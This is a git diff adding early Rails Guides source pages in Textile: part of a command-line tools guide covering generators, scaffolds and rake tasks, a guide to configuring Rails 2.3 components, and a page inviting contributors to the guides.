+     create  app/views/greetings/hello.html.erb
+</shell>
+
+Look there! Now what all did this generate? It looks like it made sure a bunch of directories were in our application, and created a controller file, a functional test file, a helper for the view, and a view file.
+
+Let's check out the controller and modify it a little (in +app/controllers/greetings_controller.rb+):
+
+<ruby>
+class GreetingsController < ApplicationController
+  def hello
+    @message = "Hello, how are you today? I am exuberant!"
+  end
+
+end
+</ruby>
+
+Then the view, to display our nice message (in +app/views/greetings/hello.html.erb+):
+
+<html>
+<h1>A Greeting for You!</h1>
+<p><%= @message %></p>
+</html>
+
+Deal. Go check it out in your browser. Fire up your server. Remember? +./script/server+ at the root of your Rails application should do it.
+
+<shell>
+$ ./script/server
+=> Booting WEBrick...
+</shell>
+
+WARNING: Make sure that you do not have any "tilde backup" files in +app/views/(controller)+, or else WEBrick will _not_ show the expected output. This seems to be a *bug* in Rails 2.3.0.
+
+The URL will be +http://localhost:3000/greetings/hello+. I'll wait for you to be suitably impressed.
+
+INFO: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the *index* action of that controller.
+
+"What about data, though?", you ask over a cup of coffee. Rails comes with a generator for data models too. Can you guess its generator name?
+
+<shell>
+$ ./script/generate model
+Usage: ./script/generate model ModelName [field:type, field:type]
+
+...
+
+Examples:
+    ./script/generate model account
+
+        creates an Account model, test, fixture, and migration:
+            Model:      app/models/account.rb
+            Test:       test/unit/account_test.rb
+            Fixtures:   test/fixtures/accounts.yml
+            Migration:  db/migrate/XXX_add_accounts.rb
+
+    ./script/generate model post title:string body:text published:boolean
+
+        creates a Post model with a string title, text body, and published flag.
+</shell>
+
+But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A *scaffold* in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.
+
+Let's set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.
+
+<shell>
+$ ./script/generate scaffold HighScore game:string score:integer
+    exists  app/models/
+    exists  app/controllers/
+    exists  app/helpers/
+    create  app/views/high_scores
+    create  app/views/layouts/
+    exists  test/functional/
+    create  test/unit/
+    create  public/stylesheets/
+    create  app/views/high_scores/index.html.erb
+    create  app/views/high_scores/show.html.erb
+    create  app/views/high_scores/new.html.erb
+    create  app/views/high_scores/edit.html.erb
+    create  app/views/layouts/high_scores.html.erb
+    create  public/stylesheets/scaffold.css
+    create  app/controllers/high_scores_controller.rb
+    create  test/functional/high_scores_controller_test.rb
+    create  app/helpers/high_scores_helper.rb
+     route  map.resources :high_scores
+dependency  model
+    exists    app/models/
+    exists    test/unit/
+    create    test/fixtures/
+    create    app/models/high_score.rb
+    create    test/unit/high_score_test.rb
+    create    test/fixtures/high_scores.yml
+    exists    db/migrate
+    create    db/migrate/20081217071914_create_high_scores.rb
+</shell>
+
+Taking it from the top - the generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the +high_scores+ table and fields), takes care of the route for the *resource*, and new tests for everything.
+
+The migration requires that we *migrate*, that is, run some Ruby code (living in that +20081217071914_create_high_scores.rb+) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the +rake db:migrate+ command. We'll talk more about Rake in-depth in a little while.
+
+CAUTION: Hey. Install the sqlite3-ruby gem while you're at it. +gem install sqlite3-ruby+
+
+<shell>
+$ rake db:migrate
+(in /home/commandsapp)
+  CreateHighScores: migrating
+    create_table(:high_scores)
+    -> 0.0070s
+  CreateHighScores: migrated (0.0077s)
+</shell>
+
+INFO: Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We'll make one in a moment.
+
+Let's see the interface Rails created for us. ./script/server; http://localhost:3000/high_scores
+
+We can create new high scores (55,160 on Space Invaders!)
+
+h4. +console+
+
+The +console+ command lets you interact with your Rails application from the command line. On the underside, +script/console+ uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.
+
+h4. +dbconsole+
+
++dbconsole+ figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3.
+
+h4. +plugin+
+
+The +plugin+ command simplifies plugin management; think a miniature version of the Gem utility. Let's walk through installing a plugin. You can call the sub-command *discover*, which sifts through repositories looking for plugins, or call *source* to add a specific repository of plugins, or you can specify the plugin location directly.
+
+Let's say you're creating a website for a client who wants a small accounting system. Every event having to do with money must be logged, and must never be deleted. Wouldn't it be great if we could override the behavior of a model to never actually take its record out of the database, but *instead*, just set a field?
+
+There is such a thing! The plugin we're installing is called "acts_as_paranoid", and it lets models implement a "deleted_at" column that gets set when you call destroy. Later, when calling find, the plugin will tack on a database check to filter out "deleted" things.
+
+<shell>
+$ ./script/plugin install http://svn.techno-weenie.net/projects/plugins/acts_as_paranoid
++ ./CHANGELOG
++ ./MIT-LICENSE
+...
+...
+</shell>
+
+h4. +runner+
+
+<tt>runner</tt> runs Ruby code in the context of Rails non-interactively. For instance:
+
+<shell>
+$ ./script/runner "Model.long_running_method"
+</shell>
+
+h4. +destroy+
+
+Think of +destroy+ as the opposite of +generate+. It'll figure out what generate did, and undo it. Believe you-me, the creation of this tutorial used this command many times!
+
+<shell>
+$ ./script/generate model Oops
+      exists  app/models/
+      exists  test/unit/
+      exists  test/fixtures/
+      create  app/models/oops.rb
+      create  test/unit/oops_test.rb
+      create  test/fixtures/oops.yml
+      exists  db/migrate
+      create  db/migrate/20081221040817_create_oops.rb
+$ ./script/destroy model Oops
+    notempty  db/migrate
+    notempty  db
+          rm  db/migrate/20081221040817_create_oops.rb
+          rm  test/fixtures/oops.yml
+          rm  test/unit/oops_test.rb
+          rm  app/models/oops.rb
+    notempty  test/fixtures
+    notempty  test
+    notempty  test/unit
+    notempty  test
+    notempty  app/models
+    notempty  app
+</shell>
+
+h4. +about+
+
+Check it: Version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version! +about+ is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.
+
+<shell>
+$ ./script/about
+About your application's environment
+Ruby version              1.8.6 (i486-linux)
+RubyGems version          1.3.1
+Rails version             2.2.0
+Active Record version     2.2.0
+Action Pack version       2.2.0
+Active Resource version   2.2.0
+Action Mailer version     2.2.0
+Active Support version    2.2.0
+Edge Rails revision       unknown
+Application root          /home/commandsapp
+Environment               development
+Database adapter          sqlite3
+Database schema version   20081217073400
+</shell>
+
+h3. The Rails Advanced Command Line
+
+The more advanced uses of the command line are focused around finding useful (even surprising at times) options in the utilities, and fitting utilities to your needs and specific work flow. Listed here are some tricks up Rails' sleeve.
+
+h4. Rails with Databases and SCM
+
+When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes.
+
+Let's see what a +--git+ option and a +--database=postgresql+ option will do for us:
+
+<shell>
+$ mkdir gitapp
+$ cd gitapp
+$ git init
+Initialized empty Git repository in .git/
+$ rails . --git --database=postgresql
+      exists
+      create  app/controllers
+      create  app/helpers
+...
+...
+      create  tmp/cache
+      create  tmp/pids
+      create  Rakefile
+add 'Rakefile'
+      create  README
+add 'README'
+      create  app/controllers/application_controller_.rb
+add 'app/controllers/application_controller_.rb'
+      create  app/helpers/application_helper.rb
+...
+      create  log/test.log
+add 'log/test.log'
+</shell>
+
+We had to create the *gitapp* directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration:
+
+<shell>
+$ cat config/database.yml
+# PostgreSQL. Versions 7.4 and 8.x are supported.
+#
+# Install the ruby-postgres driver:
+#   gem install ruby-postgres
+# On Mac OS X:
+#   gem install ruby-postgres -- --include=/usr/local/pgsql
+# On Windows:
+#   gem install ruby-postgres
+#       Choose the win32 build.
+#       Install PostgreSQL and put its /bin directory on your path.
+development:
+  adapter: postgresql
+  encoding: unicode
+  database: gitapp_development
+  pool: 5
+  username: gitapp
+  password:
+...
+...
+</shell>
+
+It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the +rails+ command to generate the basis of your app.
+
+h4. +server+ with Different Backends
+
+Many people have created a large number different web servers in Ruby, and many of them can be used to run Rails. Since version 2.3, Rails uses Rack to serve its webpages, which means that any webserver that implements a Rack handler can be used. This includes WEBrick, Mongrel, Thin, and Phusion Passenger (to name a few!).
+
+NOTE: For more details on the Rack integration, see "Rails on Rack":rails_on_rack.html.
+
+To use a different server, just install its gem, then use its name for the first parameter to +script/server+:
+
+<shell>
+$ sudo gem install mongrel
+Building native extensions.  This could take a while...
+Building native extensions.  This could take a while...
+Successfully installed gem_plugin-0.2.3
+Successfully installed fastthread-1.0.1
+Successfully installed cgi_multipart_eof_fix-2.5.0
+Successfully installed mongrel-1.1.5
+...
+...
+Installing RDoc documentation for mongrel-1.1.5...
+$ script/server mongrel
+=> Booting Mongrel (use 'script/server webrick' to force WEBrick)
+=> Rails 2.2.0 application starting on http://0.0.0.0:3000
+...
+</shell>
+
+h4. The Rails Generation: Generators
+
+INFO: For a good rundown on generators, see "Understanding Generators":http://wiki.rubyonrails.org/rails/pages/UnderstandingGenerators. A lot of its material is presented here.
+
+Generators are code that generates code. Let's experiment by building one. Our generator will generate a text file.
+
+The Rails generator by default looks in these places for available generators, where RAILS_ROOT is the root of your Rails application, like /home/foobar/commandsapp:
+
+* RAILS_ROOT/lib/generators
+* RAILS_ROOT/vendor/generators
+* Inside any plugin with a directory like "generators" or "rails_generators"
+* ~/.rails/generators
+* Inside any Gem you have installed with a name ending in "_generator"
+* Inside *any* Gem installed with a "rails_generators" path, and a file ending in "_generator.rb"
+* Finally, the builtin Rails generators (controller, model, mailer, etc.)
+
+Let's try the fourth option (in our home directory), which will be easy to clean up later:
+
+<shell>
+$ mkdir -p ~/.rails/generators/tutorial_test/templates
+$ touch ~/.rails/generators/tutorial_test/templates/tutorial.erb
+$ touch ~/.rails/generators/tutorial_test/tutorial_test_generator.rb
+</shell>
+
+We'll fill +tutorial_test_generator.rb+ out with:
+
+<ruby>
+class TutorialTestGenerator < Rails::Generator::Base
+  def initialize(*runtime_args)
+    super(*runtime_args)
+    @tut_args = runtime_args
+  end
+
+  def manifest
+    record do |m|
+      m.directory "public"
+      m.template "tutorial.erb", File.join("public", "tutorial.txt"),
+        :assigns => { :args => @tut_args }
+    end
+  end
+end
+</ruby>
+
+We take whatever args are supplied, save them to an instance variable, and literally copying from the Rails source, implement a +manifest+ method, which calls +record+ with a block, and we:
+
+* Check there's a *public* directory. You bet there is.
+* Run the ERb template called "tutorial.erb".
+* Save it into "RAILS_ROOT/public/tutorial.txt".
+* Pass in the arguments we saved through the +:assign+ parameter.
+
+Next we'll build the template:
+
+<shell>
+$ cat ~/.rails/generators/tutorial_test/templates/tutorial.erb
+I'm a template!
+
+I got assigned some args:
+<%= require 'pp'; PP.pp(args, "") %>
+</shell>
+
+Then we'll make sure it got included in the list of available generators:
+
+<shell>
+$ ./script/generate
+...
+...
+Installed Generators
+  User: tutorial_test
+</shell>
+
+SWEET! Now let's generate some text, yeah!
+
+<shell>
+$ ./script/generate tutorial_test arg1 arg2 arg3
+      exists  public
+      create  public/tutorial.txt
+</shell>
+
+And the result:
+
+<shell>
+$ cat public/tutorial.txt
+I'm a template!
+
+I got assigned some args:
+[["arg1", "arg2", "arg3"],
+ {:collision=>:ask,
+  :quiet=>false,
+  :generator=>"tutorial_test",
+  :command=>:create}]
+</shell>
+
+Tada!
+
+h4. Rake is Ruby Make
+
+Rake is a standalone Ruby utility that replaces the Unix utility 'make', and uses a 'Rakefile' and +.rake+ files to build up a list of tasks. In Rails, Rake is used for common administration tasks, especially sophisticated ones that build off of each other.
+
+You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing +rake --tasks+. Each task has a description, and should help you find the thing you need.
+
+<shell>
+ rake --tasks
+(in /home/developer/commandsapp)
+rake db:abort_if_pending_migrations       # Raises an error if there are pending migrations
+rake db:charset                           # Retrieves the charset for the current environment's database
+rake db:collation                         # Retrieves the collation for the current environment's database
+rake db:create                            # Create the database defined in config/database.yml for the current RAILS_ENV
+...
+...
+rake tmp:pids:clear                       # Clears all files in tmp/pids
+rake tmp:sessions:clear                   # Clears all files in tmp/sessions
+rake tmp:sockets:clear                    # Clears all files in tmp/sockets
+</shell>
+
+Let's take a look at some of these 80 or so rake tasks.
+
+h5. +db:+ Database
+
+The most common tasks of the +db:+ Rake namespace are +migrate+ and +create+, and it will pay off to try out all of the migration rake tasks (+up+, +down+, +redo+, +reset+). +rake db:version+ is useful when troubleshooting, telling you the current version of the database.
+
+h5. +doc:+ Documentation
+
+If you want to strip out or rebuild any of the Rails documentation (including this guide!), the +doc:+ namespace has the tools. Stripping documentation is mainly useful for slimming your codebase, like if you're writing a Rails application for an embedded platform.
+
+h5. +gems:+ Ruby gems
+
+You can specify which gems your application uses, and +rake gems:install+ will install them for you. Look at your environment.rb to learn how with the *config.gem* directive.
+
+NOTE: +gems:unpack+ will unpack, that is internalize your application's Gem dependencies by copying the Gem code into your vendor/gems directory. By doing this you increase your codebase size, but simplify installation on new hosts by eliminating the need to run +rake gems:install+, or finding and installing the gems your application uses.
+
+h5. +notes:+ Code note enumeration
+
+These tasks will search through your code for commented lines beginning with "FIXME", "OPTIMIZE", "TODO", or any custom annotation (like XXX) and show you them.
+
+h5. +rails:+ Rails-specific tasks
+
+In addition to the +gems:unpack+ task above, you can also unpack the Rails backend specific gems into vendor/rails by calling +rake rails:freeze:gems+, to unpack the version of Rails you are currently using, or +rake rails:freeze:edge+ to unpack the most recent (cutting, bleeding edge) version.
+
+When you have frozen the Rails gems, Rails will prefer to use the code in vendor/rails instead of the system Rails gems. You can "thaw" by running +rake rails:unfreeze+.
+
+After upgrading Rails, it is useful to run +rails:update+, which will update your config and scripts directories, and upgrade your Rails-specific javascript (like Scriptaculous).
+
+h5. +test:+ Rails tests
+
+INFO: A good description of unit testing in Rails is given in "A Guide to Testing Rails Applications":testing.html
+
+Rails comes with a test suite called Test::Unit. It is through the use of tests that Rails itself is so stable, and the slew of people working on Rails can prove that everything works as it should. 
+
+The +test:+ namespace helps in running the different tests you will (hopefully!) write.
+
+h5. +time:+ Timezones
+
+You can list all the timezones Rails knows about with +rake time:zones:all+, which is useful just in day-to-day life.
+
+h5. +tmp:+ Temporary files
+
+The tmp directory is, like in the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions. The +tmp:+ namespace tasks will help you clear them if you need to if they've become overgrown, or create them in case of an +rm -rf *+ gone awry.
+
+h5. Miscellaneous Tasks
+
+ +rake stats+ is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio.
+
+ +rake secret+ will give you a psuedo-random key to use for your session secret.
+
+ +rake routes+ will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with.
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/29
diff --git a/vendor/rails/railties/guides/source/configuring.textile b/vendor/rails/railties/guides/source/configuring.textile
new file mode 100644
index 00000000..d97ed56e
--- /dev/null
+++ b/vendor/rails/railties/guides/source/configuring.textile
@@ -0,0 +1,234 @@
+h2. Configuring Rails Applications
+
+This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to:
+
+* Adjust the behavior of your Rails applications
+* Add additional code to be run at application start time
+
+endprologue.
+
+
+h3. Locations for Initialization Code
+
+Rails offers (at least) five good spots to place initialization code:
+
+* Preinitializers
+* environment.rb
+* Environment-specific Configuration Files
+* Initializers (load_application_initializers)
+* After-Initializers
+
+h3. Using a Preinitializer
+
+Rails allows you to use a preinitializer to run code before the framework itself is loaded. If you save code in +RAILS_ROOT/config/preinitializer.rb+, that code will be the first thing loaded, before any of the framework components (Active Record, Action Pack, and so on.) If you want to change the behavior of one of the classes that is used in the initialization process, you can do so in this file.
+
+h3. Configuring Rails Components
+
+In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The +environment.rb+ and environment-specific configuration files (such as +config/environments/production.rb+) allow you to specify the various settings that you want to pass down to all of the components. For example, the default Rails 2.3 +environment.rb+ file includes one setting:
+
+<ruby>
+config.time_zone = 'UTC'
+</ruby>
+
+This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same +config+ object:
+
+<ruby>
+config.active_record.colorize_logging = false
+</ruby>
+
+Rails will use that particular setting to configure Active Record.
+
+h4. Configuring Active Record
+
+<tt>ActiveRecord::Base</tt> includes a variety of configuration options:
+
+* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8.x Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an ActiveRecord model class or an ActiveRecord model instance. Set to nil to disable logging.
+
+* +primary_key_prefix_type+ lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named +id+ (and this configuration option doesn't need to be set.) There are two other choices:
+** +:table_name+ would make the primary key for the Customer class +customerid+
+** +:table_name_with_underscore+ would make the primary key for the Customer class +customer_id+
+
+* +table_name_prefix+ lets you set a global string to be prepended to table names. If you set this to +northwest_+, then the Customer class will look for +northwest_customers+ as its table. The default is an empty string.
+
+* +table_name_suffix+ lets you set a global string to be appended to table names. If you set this to +_northwest+, then the Customer class will look for +customers_northwest+ as its table. The default is an empty string.
+
+* +pluralize_table_names+ specifies whether Rails will look for singular or plural table names in the database. If set to +true+ (the default), then the Customer class will use the +customers+ table. If set to +false+, then the Customers class will use the +customer+ table.
+
+* +colorize_logging+ (true by default) specifies whether or not to use ANSI color codes when logging information from ActiveRecord.
+
+* +default_timezone+ determines whether to use +Time.local+ (if set to +:local+) or +Time.utc+ (if set to +:utc+) when pulling dates and times from the database. The default is +:local+.
+
+* +schema_format+ controls the format for dumping the database schema to a file. The options are +:ruby+ (the default) for a database-independent version that depends on migrations, or +:sql+ for a set of (potentially database-dependent) SQL statements.
+
+* +timestamped_migrations+ controls whether migrations are numbered with serial integers or with timestamps. The default is +true+, to use timestamps, which are preferred if there are multiple developers working on the same application.
+
+* +lock_optimistically+ controls whether ActiveRecord will use optimistic locking. By default this is +true+.
+
+The MySQL adapter adds one additional configuration option:
+
+* +ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans+ controls whether ActiveRecord will consider all +tinyint(1)+ columns in a MySQL database to be booleans. By default this is +true+.
+
+The schema dumper adds one additional configuration option:
+
+* +ActiveRecord::SchemaDumper.ignore_tables+ accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless +ActiveRecord::Base.schema_format == :ruby+.
+
+h4. Configuring Action Controller
+
+<tt>ActionController::Base</tt> includes a number of configuration settings:
+
+* +asset_host+ provides a string that is prepended to all of the URL-generating helpers in +AssetHelper+. This is designed to allow moving all javascript, CSS, and image files to a separate asset host.
+
+* +consider_all_requests_local+ is generally set to +true+ during development and +false+ during production; if it is set to +true+, then any error will cause detailed debugging information to be dumped in the HTTP response. For finer-grained control, set this to +false+ and implement +local_request?+ to specify which requests should provide debugging information on errors.
+
+* +allow_concurrency+ should be set to +true+ to allow concurrent (threadsafe) action processing. Set to +false+ by default. You probably don't want to call this one directly, though, because a series of other adjustments need to be made for threadsafe mode to work properly. Instead, you should simply call +config.threadsafe!+ inside your +production.rb+ file, which makes all the necessary adjustments.
+
+WARNING: Threadsafe operation in incompatible with the normal workings of development mode Rails. In particular, automatic dependency loading and class reloading are automatically disabled when you call +config.threadsafe!+.
+
+* +param_parsers+ provides an array of handlers that can extract information from incoming HTTP requests and add it to the +params+ hash. By default, parsers for multipart forms, URL-encoded forms, XML, and JSON are active.
+
+* +default_charset+ specifies the default character set for all renders. The default is "utf-8".
+
+* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging.
+
+* +resource_action_separator+ gives the token to be used between resources and actions when building or interpreting RESTful URLs. By default, this is "/".
+
+* +resource_path_names+ is a hash of default names for several RESTful actions. By default, the new action is named +new+ and the edit action is named +edit+.
+
+* +request_forgery_protection_token+ sets the token parameter name for RequestForgery. Calling +protect_from_forgery+ sets it to +:authenticity_token+ by default.
+
+* +optimise_named_routes+ turns on some optimizations in generating the routing table. It is set to +true+ by default.
+
+* +use_accept_header+ sets the rules for determining the response format. If this is set to +true+ (the default) then +respond_to+ and +Request#format+ will take the Accept header into account. If it is set to false then the request format will be determined solely by examining +params[:format]+. If there is no +format+ parameter, then the response format will be either HTML or Javascript depending on whether the request is an AJAX request.
+
+* +allow_forgery_protection+ enables or disables CSRF protection. By default this is +false+ in test mode and +true+ in all other modes.
+
+* +relative_url_root+ can be used to tell Rails that you are deploying to a subdirectory. The default is +ENV['RAILS_RELATIVE_URL_ROOT']+.
+
+The caching code adds two additional settings:
+
+* +ActionController::Caching::Pages.page_cache_directory+ sets the directory where Rails will create cached pages for your web server. The default is +Rails.public_path+ (which is usually set to +RAILS_ROOT + "/public"+).
+
+* +ActionController::Caching::Pages.page_cache_extension+ sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is +.html+.
+
+The dispatcher includes one setting:
+
+* +ActionController::Dispatcher.error_file_path+ gives the path where Rails will look for error files such as +404.html+. The default is +Rails.public_path+.
+
+The Active Record session store can also be configured:
+
+* +CGI::Session::ActiveRecordStore::Session.data_column_name+ sets the name of the column to use to store session data. By default it is 'data'
+
+h4. Configuring Action View
+
+There are only a few configuration options for Action View, starting with four on +ActionView::Base+:
+
+* +debug_rjs+ specifies whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it). The default is +false+.
+
+* +warn_cache_misses+ tells Rails to display a warning whenever an action results in a cache miss on your view paths. The default is +false+.
+
+* +field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is <tt>Proc.new{ |html_tag, instance| "<div class=\"fieldWithErrors\">#{html_tag}</div>" }</tt>
+
+* +default_form_builder+ tells Rails which form builder to use by default. The default is +ActionView::Helpers::FormBuilder+.
+
+The ERB template handler supplies one additional option:
+
+* +ActionView::TemplateHandlers::ERB.erb_trim_mode+ gives the trim mode to be used by ERB. It defaults to +'-'+. See the "ERB documentation":http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/ for more information.
+
+h4. Configuring Action Mailer
+
+There are a number of settings available on +ActionMailer::Base+:
+
+* +template_root+ gives the root folder for Action Mailer templates.
+
+* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging.
+
+* +smtp_settings+ allows detailed configuration for the +:smtp+ delivery method. It accepts a hash of options, which can include any of these options:
+** +:address+ - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
+** +:port+ - On the off chance that your mail server doesn't run on port 25, you can change it.
+** +:domain+ - If you need to specify a HELO domain, you can do it here.
+** +:user_name+ - If your mail server requires authentication, set the username in this setting.
+** +:password+ - If your mail server requires authentication, set the password in this setting.
+** +:authentication+ - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of +:plain+, +:login+, +:cram_md5+.
+
+* +sendmail_settings+ allows detailed configuration for the +sendmail+ delivery method. It accepts a hash of options, which can include any of these options:
+** +:location+ - The location of the sendmail executable. Defaults to +/usr/sbin/sendmail+.
+** +:arguments+ - The command line arguments. Defaults to +-i -t+.
+
+* +raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to +true+.
+
+* +delivery_method+ defines the delivery method. The allowed values are +:smtp+ (default), +:sendmail+, and +:test+.
+
+* +perform_deliveries+ specifies whether mail will actually be delivered. By default this is +true+; it can be convenient to set it to +false+ for testing.
+
+* +default_charset+ tells Action Mailer which character set to use for the body and for encoding the subject. It defaults to +utf-8+.
+
+* +default_content_type+ specifies the default content type used for the main part of the message. It defaults to "text/plain"
+
+* +default_mime_version+ is the default MIME version for the message. It defaults to +1.0+.
+
+* +default_implicit_parts_order+ - When a message is built implicitly (i.e. multiple parts are assembled from templates
+which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to +["text/html", "text/enriched", "text/plain"]+. Items that appear first in the array have higher priority in the mail client
+and appear last in the mime encoded message.
+
+h4. Configuring Active Resource
+
+There is a single configuration setting available on +ActiveResource::Base+:
+
+<tt>logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Active Resource. Set to nil to disable logging.
+
+h4. Configuring Active Support
+
+There are a few configuration options available in Active Support:
+
+* +ActiveSupport::BufferedLogger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+.
+
+* +ActiveSupport::Cache::Store.logger+ specifies the logger to use within cache store operations.
+
+* +ActiveSupport::Logger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+.
+
+h4. Configuring Active Model
+
+Active Model currently has a single configuration setting:
+
+* +ActiveModel::Errors.default_error_messages+ is an array containing all of the validation error messages.
+
+h3. Using Initializers
+
+After it loads the framework plus any gems and plugins in your application, Rails turns to loading initializers. An initializer is any file of ruby code stored under +/config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and plugins are loaded.
+
+NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the +initializers+ folder on down.
+
+TIP: If you have any ordering dependency in your initializers, you can control the load order by naming. For example, +01_critical.rb+ will be loaded before +02_normal.rb+.
+
+h3. Using an After-Initializer
+
+After-initializers are run (as you might guess) after any initializers are loaded. You can supply an +after_initialize+ block (or an array of such blocks) by setting up +config.after_initialize+ in any of the Rails configuration files:
+
+<ruby>
+config.after_initialize do
+  SomeClass.init
+end
+</ruby>
+
+WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the +after_initialize+ block is called.
+
+h3. Rails Environment Settings
+
+Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:
+
+* +ENV['RAILS_ENV']+ defines the Rails environment (production, development, test, and so on) that Rails will run under.
+
+* +ENV['RAILS_RELATIVE_URL_ROOT']+ is used by the routing code to recognize URLs when you deploy your application to a subdirectory.
+
+* +ENV["RAILS_ASSET_ID"]+ will override the default cache-busting timestamps that Rails generates for downloadable assets.
+
+* +ENV["RAILS_CACHE_ID"]+ and +ENV["RAILS_APP_VERSION"]+ are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.
+
+* +ENV['RAILS_GEM_VERSION']+ defines the version of the Rails gems to use, if +RAILS_GEM_VERSION+ is not defined in your +environment.rb+ file.
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/28
+
+* January 3, 2009: First reasonably complete draft by "Mike Gunderloy":credits.html#mgunderloy
+* November 5, 2008: Rough outline by "Mike Gunderloy":credits.html#mgunderloy
diff --git a/vendor/rails/railties/guides/source/contribute.textile b/vendor/rails/railties/guides/source/contribute.textile
new file mode 100644
index 00000000..650004bd
--- /dev/null
+++ b/vendor/rails/railties/guides/source/contribute.textile
@@ -0,0 +1,71 @@
+h2. Contribute to the Rails Guides
+
+Rails Guides aim to improve the Rails documentation and to make the barrier to entry as low as possible. A reasonably experienced developer should be able to use the Guides to come up to speed on Rails quickly. You can track the overall effort at the "Rails Guides Lighthouse":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets. Our sponsors have contributed prizes for those who write an entire guide, but there are many other ways to contribute.
+
+endprologue.
+
+h3. How to Contribute?
+
+* We have an open commit policy: anyone is welcome to contribute, but you'll need to ask for commit access.
+* PM lifo at "GitHub":http://github.com asking for "docrails":http://github.com/lifo/docrails/tree/master commit access.
+* Guides are written in Textile, and reside at railties/guides/source in the docrails project.
+* All images are in the railties/guides/images directory.
+* Sample format : "Active Record Associations":http://github.com/lifo/docrails/blob/3e56a3832415476fdd1cb963980d0ae390ac1ed3/railties/guides/source/association_basics.textile
+* Sample output : "Active Record Associations":http://guides.rails.info/association_basics.html
+* You can build the Guides during testing by running +rake guides+ in the +railties+ directory.
+
+h3. What to Contribute?
+
+* We need authors, editors, proofreaders, and translators. Adding a single paragraph of quality content to a guide is a good way to get started.
+* The easiest way to start is by improving an existing guide:
+** Improve the structure to make it more coherent
+** Add missing information
+** Correct any factual errors
+** Fix typos or improve style
+** Bring it up to date with the latest Edge Rails
+* We're also open to suggestions for entire new guides
+** Contact lifo or mikeg1a in IRC or via "email":mailto:MikeG1@larkfarm.com to get your idea approved
+** If you're the main author on a significant guide, you're eligible for the prizes
+
+h3. How to Commit
+
+* If you have a small change or typo fix, just ask lifo for commit access and commit it to the project.
+* If your change is more significant, post a patch or a message on Lighthouse, and commit after you get a +1 from lifo or mikeg1a.
+* If the guide is already marked done, you should get a +1 before pushing your changes.
+* Put [#&lt;ticket number&gt;] in your commit message to enable GitHub/Lighthouse integration.
+
+h3. Prizes
+
+For each completed guide, the lead contributor will receive all of the following prizes:
+
+* $200 from Caboose Rails Documentation Project.
+* 1 year of GitHub Micro account worth $84.
+* 1 year of RPM Basic (Production performance management) for up to 10 hosts worth 12 months x $40 per host x $10 hosts = $4800. And also, savings of $45 per host per month over list price to upgrade to advanced product.
+
+h3. Rules
+
+* Guides are licensed under a Creative Commons Attribution-Share Alike 3.0 License.
+* If you're not sure whether a guide is actively being worked on, stop by IRC and ask.
+* If the same guide writer wants to write multiple guides, that's ideally the situation we'd love to be in! However, that guide writer will only receive the cash prize for all the subsequent guides (and not the GitHub or RPM prizes).
+* Our review team will have the final say on whether the guide is complete and of good enough quality.
+
